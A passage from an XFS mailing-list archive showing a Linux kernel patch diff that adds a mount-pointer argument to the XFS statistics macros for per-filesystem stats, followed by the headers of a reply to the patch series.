0) && (*idx < ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t))); @@ -5070,7 +5070,7 @@ xfs_bunmapi( *done = 1; return 0; } - XFS_STATS_INC(xs_blk_unmap); + XFS_STATS_INC(mp, xs_blk_unmap); isrt = (whichfork == XFS_DATA_FORK) && XFS_IS_REALTIME_INODE(ip); start = bno; bno = start + len - 1; diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 8f18bab..ec72825 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -84,31 +84,33 @@ union xfs_btree_rec { /* * Generic stats interface */ -#define __XFS_BTREE_STATS_INC(type, stat) \ - XFS_STATS_INC(xs_ ## type ## _2_ ## stat) -#define XFS_BTREE_STATS_INC(cur, stat) \ +#define __XFS_BTREE_STATS_INC(mp, type, stat) \ + XFS_STATS_INC(mp, xs_ ## type ## _2_ ## stat) +#define XFS_BTREE_STATS_INC(cur, stat) \ do { \ + struct xfs_mount *mp = cur->bc_mp; \ switch (cur->bc_btnum) { \ - case XFS_BTNUM_BNO: __XFS_BTREE_STATS_INC(abtb, stat); break; \ - case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(abtc, stat); break; \ - case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ - case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ - case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ + case XFS_BTNUM_BNO: __XFS_BTREE_STATS_INC(mp, abtb, stat); break; \ + case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(mp, abtc, stat); break; \ + case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(mp, bmbt, stat); break; \ + case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(mp, ibt, stat); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(mp, fibt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) -#define __XFS_BTREE_STATS_ADD(type, stat, val) \ - XFS_STATS_ADD(xs_ ## type ## _2_ ## stat, val) +#define __XFS_BTREE_STATS_ADD(mp, type, stat, val) \ + XFS_STATS_ADD(mp, xs_ ## type ## _2_ ## stat, val) #define XFS_BTREE_STATS_ADD(cur, stat, val) \ do { \ + struct xfs_mount *mp = cur->bc_mp; \ switch (cur->bc_btnum) { \ - case XFS_BTNUM_BNO: __XFS_BTREE_STATS_ADD(abtb, stat, val); break; \ - case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(abtc, stat, val); break; \ - case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ - case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ - case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ - case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ + case XFS_BTNUM_BNO: __XFS_BTREE_STATS_ADD(mp, abtb, stat, val); break; \ + case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(mp, abtc, stat, val); break; \ + case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(mp, bmbt, stat, val); break; \ + case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(mp, ibt, stat, val); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(mp, fibt, stat, val); break; \ + case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/libxfs/xfs_dir2.c b/fs/xfs/libxfs/xfs_dir2.c index 9de401d..2fb53a5 100644 --- a/fs/xfs/libxfs/xfs_dir2.c +++ b/fs/xfs/libxfs/xfs_dir2.c @@ -271,7 +271,7 @@ xfs_dir_createname( rval = xfs_dir_ino_validate(tp->t_mountp, inum); if (rval) return rval; - XFS_STATS_INC(xs_dir_create); + XFS_STATS_INC(dp->i_mount, xs_dir_create); } args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); @@ -365,7 +365,7 @@ xfs_dir_lookup( int lock_mode; ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_lookup); + XFS_STATS_INC(dp->i_mount, xs_dir_lookup); /* * We need to use KM_NOFS here so that lockdep will not throw false @@ -444,7 +444,7 @@ xfs_dir_removename( int v; /* type-checking value */ ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_remove); + XFS_STATS_INC(dp->i_mount, xs_dir_remove); args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); if (!args) diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index 65fb37a..0ef7c2e 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -511,7 +511,7 @@ xfs_attr_list_int( xfs_inode_t *dp = context->dp; uint lock_mode; - XFS_STATS_INC(xs_attr_list); + XFS_STATS_INC(dp->i_mount, xs_attr_list); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return -EIO; diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 8ecffb3..90815c2 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -201,7 +201,7 @@ _xfs_buf_alloc( atomic_set(&bp->b_pin_count, 0); init_waitqueue_head(&bp->b_waiters); - XFS_STATS_INC(xb_create); + XFS_STATS_INC(target->bt_mount, xb_create); trace_xfs_buf_init(bp, _RET_IP_); return bp; @@ -357,12 +357,12 @@ retry: "possible memory allocation deadlock in %s (mode:0x%x)", __func__, gfp_mask); - XFS_STATS_INC(xb_page_retries); + XFS_STATS_INC(bp->b_target->bt_mount, xb_page_retries); congestion_wait(BLK_RW_ASYNC, HZ/50); goto retry; } - XFS_STATS_INC(xb_page_found); + XFS_STATS_INC(bp->b_target->bt_mount, xb_page_found); nbytes = min_t(size_t, size, PAGE_SIZE - offset); size -= nbytes; @@ -516,7 +516,7 @@ _xfs_buf_find( new_bp->b_pag = pag; spin_unlock(&pag->pag_buf_lock); } else { - XFS_STATS_INC(xb_miss_locked); + XFS_STATS_INC(btp->bt_mount, xb_miss_locked); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); } @@ -529,11 +529,11 @@ found: if (!xfs_buf_trylock(bp)) { if (flags & XBF_TRYLOCK) { xfs_buf_rele(bp); - XFS_STATS_INC(xb_busy_locked); + XFS_STATS_INC(btp->bt_mount, xb_busy_locked); return NULL; } xfs_buf_lock(bp); - XFS_STATS_INC(xb_get_locked_waited); + XFS_STATS_INC(btp->bt_mount, xb_get_locked_waited); } /* @@ -549,7 +549,7 @@ found: } trace_xfs_buf_find(bp, flags, _RET_IP_); - XFS_STATS_INC(xb_get_locked); + XFS_STATS_INC(btp->bt_mount, xb_get_locked); return bp; } @@ -603,7 +603,7 @@ found: } } - XFS_STATS_INC(xb_get); + XFS_STATS_INC(target->bt_mount, xb_get); trace_xfs_buf_get(bp, flags, _RET_IP_); return bp; } @@ -643,7 +643,7 @@ xfs_buf_read_map( trace_xfs_buf_read(bp, flags, _RET_IP_); if (!XFS_BUF_ISDONE(bp)) { - XFS_STATS_INC(xb_get_read); + XFS_STATS_INC(target->bt_mount, xb_get_read); bp->b_ops = ops; _xfs_buf_read(bp, flags); } else if (flags & XBF_ASYNC) { diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index a989a9c..642d55d 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -666,7 +666,7 @@ xfs_readdir( return -EIO; ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_getdents); + XFS_STATS_INC(dp->i_mount, xs_dir_getdents); args.dp = dp; args.geo = dp->i_mount->m_dir_geo; diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 30cb3af..c801a0b 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -77,7 +77,7 @@ xfs_qm_dqdestroy( mutex_destroy(&dqp->q_qlock); kmem_zone_free(xfs_qm_dqzone, dqp); - XFS_STATS_DEC(xs_qm_dquot); + XFS_STATS_DEC(dqp->q_mount, xs_qm_dquot); } /* @@ -605,7 +605,7 @@ xfs_qm_dqread( break; } - XFS_STATS_INC(xs_qm_dquot); + XFS_STATS_INC(dqp->q_mount, xs_qm_dquot); trace_xfs_dqread(dqp); @@ -747,12 +747,12 @@ restart: mutex_unlock(&qi->qi_tree_lock); trace_xfs_dqget_hit(dqp); - XFS_STATS_INC(xs_qm_dqcachehits); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqcachehits); *O_dqpp = dqp; return 0; } mutex_unlock(&qi->qi_tree_lock); - XFS_STATS_INC(xs_qm_dqcachemisses); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqcachemisses); /* * Dquot cache miss. We don't want to keep the inode lock across @@ -806,7 +806,7 @@ restart: mutex_unlock(&qi->qi_tree_lock); trace_xfs_dqget_dup(dqp); xfs_qm_dqdestroy(dqp); - XFS_STATS_INC(xs_qm_dquot_dups); + XFS_STATS_INC(dqp->q_mount, xs_qm_dquot_dups); goto restart; } @@ -846,7 +846,7 @@ xfs_qm_dqput( trace_xfs_dqput_free(dqp); if (list_lru_add(&qi->qi_lru, &dqp->q_lru)) - XFS_STATS_INC(xs_qm_dquot_unused); + XFS_STATS_INC(dqp->q_mount, xs_qm_dquot_unused); } xfs_dqunlock(dqp); } diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e78feb4..088e509 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -287,7 +287,7 @@ xfs_file_read_iter( xfs_fsize_t n; loff_t pos = iocb->ki_pos; - XFS_STATS_INC(xs_read_calls); + XFS_STATS_INC(mp, xs_read_calls); if (unlikely(iocb->ki_flags & IOCB_DIRECT)) ioflags |= XFS_IO_ISDIRECT; @@ -365,7 +365,7 @@ xfs_file_read_iter( ret = generic_file_read_iter(iocb, to); if (ret > 0) - XFS_STATS_ADD(xs_read_bytes, ret); + XFS_STATS_ADD(mp, xs_read_bytes, ret); xfs_rw_iunlock(ip, XFS_IOLOCK_SHARED); return ret; @@ -383,7 +383,7 @@ xfs_file_splice_read( int ioflags = 0; ssize_t ret; - XFS_STATS_INC(xs_read_calls); + XFS_STATS_INC(ip->i_mount, xs_read_calls); if (infilp->f_mode & FMODE_NOCMTIME) ioflags |= XFS_IO_INVIS; @@ -401,7 +401,7 @@ xfs_file_splice_read( else ret = generic_file_splice_read(infilp, ppos, pipe, count, flags); if (ret > 0) - XFS_STATS_ADD(xs_read_bytes, ret); + XFS_STATS_ADD(ip->i_mount, xs_read_bytes, ret); xfs_rw_iunlock(ip, XFS_IOLOCK_SHARED); return ret; @@ -867,7 +867,7 @@ xfs_file_write_iter( ssize_t ret; size_t ocount = iov_iter_count(from); - XFS_STATS_INC(xs_write_calls); + XFS_STATS_INC(ip->i_mount, xs_write_calls); if (ocount == 0) return 0; @@ -883,7 +883,7 @@ xfs_file_write_iter( if (ret > 0) { ssize_t err; - XFS_STATS_ADD(xs_write_bytes, ret); + XFS_STATS_ADD(ip->i_mount, xs_write_bytes, ret); /* Handle various SYNC-type writes */ err = generic_write_sync(file, iocb->ki_pos - ret, ret); diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 0a326bd..d7a490f 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -63,7 +63,7 @@ xfs_inode_alloc( return NULL; } - XFS_STATS_INC(vn_active); + XFS_STATS_INC(mp, vn_active); ASSERT(atomic_read(&ip->i_pincount) == 0); ASSERT(!spin_is_locked(&ip->i_flags_lock)); ASSERT(!xfs_isiflocked(ip)); @@ -129,7 +129,7 @@ xfs_inode_free( /* asserts to verify all state is correct here */ ASSERT(atomic_read(&ip->i_pincount) == 0); ASSERT(!xfs_isiflocked(ip)); - XFS_STATS_DEC(vn_active); + XFS_STATS_DEC(ip->i_mount, vn_active); call_rcu(&VFS_I(ip)->i_rcu, xfs_inode_free_callback); } @@ -159,7 +159,7 @@ xfs_iget_cache_hit( spin_lock(&ip->i_flags_lock); if (ip->i_ino != ino) { trace_xfs_iget_skip(ip); - XFS_STATS_INC(xs_ig_frecycle); + XFS_STATS_INC(mp, xs_ig_frecycle); error = -EAGAIN; goto out_error; } @@ -177,7 +177,7 @@ xfs_iget_cache_hit( */ if (ip->i_flags & (XFS_INEW|XFS_IRECLAIM)) { trace_xfs_iget_skip(ip); - XFS_STATS_INC(xs_ig_frecycle); + XFS_STATS_INC(mp, xs_ig_frecycle); error = -EAGAIN; goto out_error; } @@ -259,7 +259,7 @@ xfs_iget_cache_hit( xfs_ilock(ip, lock_flags); xfs_iflags_clear(ip, XFS_ISTALE | XFS_IDONTCACHE); - XFS_STATS_INC(xs_ig_found); + XFS_STATS_INC(mp, xs_ig_found); return 0; @@ -342,7 +342,7 @@ xfs_iget_cache_miss( error = radix_tree_insert(&pag->pag_ici_root, agino, ip); if (unlikely(error)) { WARN_ON(error != -EEXIST); - XFS_STATS_INC(xs_ig_dup); + XFS_STATS_INC(mp, xs_ig_dup); error = -EAGAIN; goto out_preload_end; } @@ -412,7 +412,7 @@ xfs_iget( if (!ino || XFS_INO_TO_AGNO(mp, ino) >= mp->m_sb.sb_agcount) return -EINVAL; - XFS_STATS_INC(xs_ig_attempts); + XFS_STATS_INC(mp, xs_ig_attempts); /* get the perag structure and ensure that it's inode capable */ pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ino)); @@ -429,7 +429,7 @@ again: goto out_error_or_again; } else { rcu_read_unlock(); - XFS_STATS_INC(xs_ig_missed); + XFS_STATS_INC(mp, xs_ig_missed); error = xfs_iget_cache_miss(mp, pag, tp, ino, &ip, flags, lock_flags); @@ -965,7 +965,7 @@ reclaim: xfs_ifunlock(ip); xfs_iunlock(ip, XFS_ILOCK_EXCL); - XFS_STATS_INC(xs_ig_reclaims); + XFS_STATS_INC(ip->i_mount, xs_ig_reclaims); /* * Remove the inode from the per-AG radix tree. * diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..a0f2bae 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -3271,8 +3271,8 @@ xfs_iflush_cluster( } if (clcount) { - XFS_STATS_INC(xs_icluster_flushcnt); - XFS_STATS_ADD(xs_icluster_flushinode, clcount); + XFS_STATS_INC(mp, xs_icluster_flushcnt); + XFS_STATS_ADD(mp, xs_icluster_flushinode, clcount); } out_free: @@ -3345,7 +3345,7 @@ xfs_iflush( struct xfs_dinode *dip; int error; - XFS_STATS_INC(xs_iflush_count); + XFS_STATS_INC(mp, xs_iflush_count); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); ASSERT(xfs_isiflocked(ip)); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ea7d85a..b67a130 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1028,7 +1028,7 @@ xfs_ioctl_setattr_xflags( xfs_diflags_to_linux(ip); xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - XFS_STATS_INC(xs_ig_attrchg); + XFS_STATS_INC(mp, xs_ig_attrchg); return 0; } diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 1f86033..dca69c6 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -670,7 +670,7 @@ xfs_iomap_write_allocate( count_fsb = imap->br_blockcount; map_start_fsb = imap->br_startoff; - XFS_STATS_ADD(xs_xstrat_bytes, XFS_FSB_TO_B(mp, count_fsb)); + XFS_STATS_ADD(mp, xs_xstrat_bytes, XFS_FSB_TO_B(mp, count_fsb)); while (count_fsb != 0) { /* @@ -777,7 +777,7 @@ xfs_iomap_write_allocate( if ((offset_fsb >= imap->br_startoff) && (offset_fsb < (imap->br_startoff + imap->br_blockcount))) { - XFS_STATS_INC(xs_xstrat_quick); + XFS_STATS_INC(mp, xs_xstrat_quick); return 0; } diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..245268a 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -695,7 +695,7 @@ xfs_setattr_nonsize( xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - XFS_STATS_INC(xs_ig_attrchg); + XFS_STATS_INC(mp, xs_ig_attrchg); if (mp->m_flags & XFS_MOUNT_WSYNC) xfs_trans_set_sync(tp); @@ -922,7 +922,7 @@ xfs_setattr_size( xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - XFS_STATS_INC(xs_ig_attrchg); + XFS_STATS_INC(mp, xs_ig_attrchg); if (mp->m_flags & XFS_MOUNT_WSYNC) xfs_trans_set_sync(tp); diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index aaadee0..4012523 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -268,7 +268,7 @@ xlog_grant_head_wait( __set_current_state(TASK_UNINTERRUPTIBLE); spin_unlock(&head->lock); - XFS_STATS_INC(xs_sleep_logspace); + XFS_STATS_INC(log->l_mp, xs_sleep_logspace); trace_xfs_log_grant_sleep(log, tic); schedule(); @@ -379,7 +379,7 @@ xfs_log_regrant( if (XLOG_FORCED_SHUTDOWN(log)) return -EIO; - XFS_STATS_INC(xs_try_logspace); + XFS_STATS_INC(mp, xs_try_logspace); /* * This is a new transaction on the ticket, so we need to change the @@ -448,7 +448,7 @@ xfs_log_reserve( if (XLOG_FORCED_SHUTDOWN(log)) return -EIO; - XFS_STATS_INC(xs_try_logspace); + XFS_STATS_INC(mp, xs_try_logspace); ASSERT(*ticp == NULL); tic = xlog_ticket_alloc(log, unit_bytes, cnt, client, permanent, @@ -1768,7 +1768,7 @@ xlog_sync( int v2 = xfs_sb_version_haslogv2(&log->l_mp->m_sb); int size; - XFS_STATS_INC(xs_log_writes); + XFS_STATS_INC(log->l_mp, xs_log_writes); ASSERT(atomic_read(&iclog->ic_refcnt) == 0); /* Add for LR header */ @@ -1805,7 +1805,7 @@ xlog_sync( bp = iclog->ic_bp; XFS_BUF_SET_ADDR(bp, BLOCK_LSN(be64_to_cpu(iclog->ic_header.h_lsn))); - XFS_STATS_ADD(xs_log_blocks, BTOBB(count)); + XFS_STATS_ADD(log->l_mp, xs_log_blocks, BTOBB(count)); /* Do we need to split this write into 2 parts? */ if (XFS_BUF_ADDR(bp) + BTOBB(count) > log->l_logBBsize) { @@ -2913,7 +2913,7 @@ restart: iclog = log->l_iclog; if (iclog->ic_state != XLOG_STATE_ACTIVE) { - XFS_STATS_INC(xs_log_noiclogs); + XFS_STATS_INC(log->l_mp, xs_log_noiclogs); /* Wait for log writes to have flushed */ xlog_wait(&log->l_flush_wait, &log->l_icloglock); @@ -3212,7 +3212,7 @@ _xfs_log_force( struct xlog_in_core *iclog; xfs_lsn_t lsn; - XFS_STATS_INC(xs_log_force); + XFS_STATS_INC(mp, xs_log_force); xlog_cil_force(log); @@ -3297,7 +3297,7 @@ maybe_sleep: spin_unlock(&log->l_icloglock); return -EIO; } - XFS_STATS_INC(xs_log_force_sleep); + XFS_STATS_INC(mp, xs_log_force_sleep); xlog_wait(&iclog->ic_force_wait, &log->l_icloglock); /* * No need to grab the log lock here since we're @@ -3362,7 +3362,7 @@ _xfs_log_force_lsn( ASSERT(lsn != 0); - XFS_STATS_INC(xs_log_force); + XFS_STATS_INC(mp, xs_log_force); lsn = xlog_cil_force_lsn(log, lsn); if (lsn == NULLCOMMITLSN) @@ -3411,7 +3411,7 @@ try_again: (XLOG_STATE_WANT_SYNC | XLOG_STATE_SYNCING))) { ASSERT(!(iclog->ic_state & XLOG_STATE_IOERROR)); - XFS_STATS_INC(xs_log_force_sleep); + XFS_STATS_INC(mp, xs_log_force_sleep); xlog_wait(&iclog->ic_prev->ic_write_wait, &log->l_icloglock); @@ -3441,7 +3441,7 @@ try_again: spin_unlock(&log->l_icloglock); return -EIO; } - XFS_STATS_INC(xs_log_force_sleep); + XFS_STATS_INC(mp, xs_log_force_sleep); xlog_wait(&iclog->ic_force_wait, &log->l_icloglock); /* * No need to grab the log lock here since we're diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index eac9549..7af7648 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -184,7 +184,7 @@ xfs_qm_dqpurge( */ ASSERT(!list_empty(&dqp->q_lru)); list_lru_del(&qi->qi_lru, &dqp->q_lru); - XFS_STATS_DEC(xs_qm_dquot_unused); + XFS_STATS_DEC(mp, xs_qm_dquot_unused); xfs_qm_dqdestroy(dqp); return 0; @@ -448,11 +448,11 @@ xfs_qm_dquot_isolate( */ if (dqp->q_nrefs) { xfs_dqunlock(dqp); - XFS_STATS_INC(xs_qm_dqwants); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqwants); trace_xfs_dqreclaim_want(dqp); list_lru_isolate(lru, &dqp->q_lru); - XFS_STATS_DEC(xs_qm_dquot_unused); + XFS_STATS_DEC(dqp->q_mount, xs_qm_dquot_unused); return LRU_REMOVED; } @@ -496,19 +496,19 @@ xfs_qm_dquot_isolate( ASSERT(dqp->q_nrefs == 0); list_lru_isolate_move(lru, &dqp->q_lru, &isol->dispose); - XFS_STATS_DEC(xs_qm_dquot_unused); + XFS_STATS_DEC(dqp->q_mount, xs_qm_dquot_unused); trace_xfs_dqreclaim_done(dqp); - XFS_STATS_INC(xs_qm_dqreclaims); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqreclaims); return LRU_REMOVED; out_miss_busy: trace_xfs_dqreclaim_busy(dqp); - XFS_STATS_INC(xs_qm_dqreclaim_misses); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqreclaim_misses); return LRU_SKIP; out_unlock_dirty: trace_xfs_dqreclaim_busy(dqp); - XFS_STATS_INC(xs_qm_dqreclaim_misses); + XFS_STATS_INC(dqp->q_mount, xs_qm_dqreclaim_misses); xfs_dqunlock(dqp); spin_lock(lru_lock); return LRU_RETRY; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index 54f2260..2ab82c5 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -218,14 +218,23 @@ int xfs_stats_format(struct xfsstats __percpu *stats, char *buf); void xfs_stats_clearall(struct xfsstats __percpu *stats); extern struct xstats xfsstats; -#define XFS_STATS_INC(v) \ - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++) +#define XFS_STATS_INC(mp, v) \ +do { \ + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++; \ + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v++; \ +} while (0) -#define XFS_STATS_DEC(v) \ - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--) +#define XFS_STATS_DEC(mp, v) \ +do { \ + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--; \ + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v--; \ +} while (0) -#define XFS_STATS_ADD(v, inc) \ - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc)) +#define XFS_STATS_ADD(mp, v, inc) \ +do { \ + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc); \ + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v += (inc); \ +} while (0) extern int xfs_init_procfs(void); extern void xfs_cleanup_procfs(void); diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index e1a35a5..3f92f75 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -922,7 +922,7 @@ xfs_fs_destroy_inode( trace_xfs_destroy_inode(ip); - XFS_STATS_INC(vn_reclaim); + XFS_STATS_INC(ip->i_mount, vn_reclaim); ASSERT(XFS_FORCED_SHUTDOWN(ip->i_mount) || ip->i_delayed_blks == 0); @@ -983,8 +983,8 @@ xfs_fs_evict_inode( truncate_inode_pages_final(&inode->i_data); clear_inode(inode); - XFS_STATS_INC(vn_rele); - XFS_STATS_INC(vn_remove); + XFS_STATS_INC(ip->i_mount, vn_rele); + XFS_STATS_INC(ip->i_mount, vn_remove); xfs_inactive(ip); } diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index a0ab1da..748b16a 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -930,9 +930,9 @@ __xfs_trans_commit( */ if (sync) { error = _xfs_log_force_lsn(mp, commit_lsn, XFS_LOG_SYNC, NULL); - XFS_STATS_INC(xs_trans_sync); + XFS_STATS_INC(mp, xs_trans_sync); } else { - XFS_STATS_INC(xs_trans_async); + XFS_STATS_INC(mp, xs_trans_async); } return error; @@ -955,7 +955,7 @@ out_unreserve: xfs_trans_free_items(tp, NULLCOMMITLSN, !!error); xfs_trans_free(tp); - XFS_STATS_INC(xs_trans_empty); + XFS_STATS_INC(mp, xs_trans_empty); return error; } diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index 1098cf4..4f18fd9 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -349,7 +349,7 @@ xfsaild_push( xfs_ail_min_lsn(ailp))) { ailp->xa_log_flush = 0; - XFS_STATS_INC(xs_push_ail_flush); + XFS_STATS_INC(mp, xs_push_ail_flush); xfs_log_force(mp, XFS_LOG_SYNC); } @@ -371,7 +371,7 @@ xfsaild_push( goto out_done; } - XFS_STATS_INC(xs_push_ail); + XFS_STATS_INC(mp, xs_push_ail); lsn = lip->li_lsn; while ((XFS_LSN_CMP(lip->li_lsn, target) <= 0)) { @@ -385,7 +385,7 @@ xfsaild_push( lock_result = lip->li_ops->iop_push(lip, &ailp->xa_buf_list); switch (lock_result) { case XFS_ITEM_SUCCESS: - XFS_STATS_INC(xs_push_ail_success); + XFS_STATS_INC(mp, xs_push_ail_success); trace_xfs_ail_push(lip); ailp->xa_last_pushed_lsn = lsn; @@ -403,7 +403,7 @@ xfsaild_push( * re-try the flushing relatively soon if most of the * AIL is beeing flushed. */ - XFS_STATS_INC(xs_push_ail_flushing); + XFS_STATS_INC(mp, xs_push_ail_flushing); trace_xfs_ail_flushing(lip); flushing++; @@ -411,14 +411,14 @@ xfsaild_push( break; case XFS_ITEM_PINNED: - XFS_STATS_INC(xs_push_ail_pinned); + XFS_STATS_INC(mp, xs_push_ail_pinned); trace_xfs_ail_pinned(lip); stuck++; ailp->xa_log_flush++; break; case XFS_ITEM_LOCKED: - XFS_STATS_INC(xs_push_ail_locked); + XFS_STATS_INC(mp, xs_push_ail_locked); trace_xfs_ail_locked(lip); stuck++; -- 2.4.3 From sandeen@sandeen.net Fri Oct 2 11:30:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 38D547F63 for ; Fri, 2 Oct 2015 11:30:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E8CE3304053 for ; Fri, 2 Oct 2015 09:30:58 -0700 (PDT) X-ASG-Debug-ID: 1443803456-04bdf046221b8990001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id kyrBdmtcK1n5GMAm for ; Fri, 02 Oct 2015 09:30:56 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2A3F665F9383 for ; Fri, 2 Oct 2015 11:30:56 -0500 (CDT) Subject: Re: [PATCH 0/7 v10] xfs: per-fs stats in sysfs To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 0/7 v10] xfs: per-fs stats in sysfs References: <1443802960-26662-1-git-send-email-billodo@redhat.com> From: Eric Sandeen Message-ID: <560EB13F.6090004@sandeen.net> Date: Fri, 2 Oct 2015 11:30:55 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1443803456 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 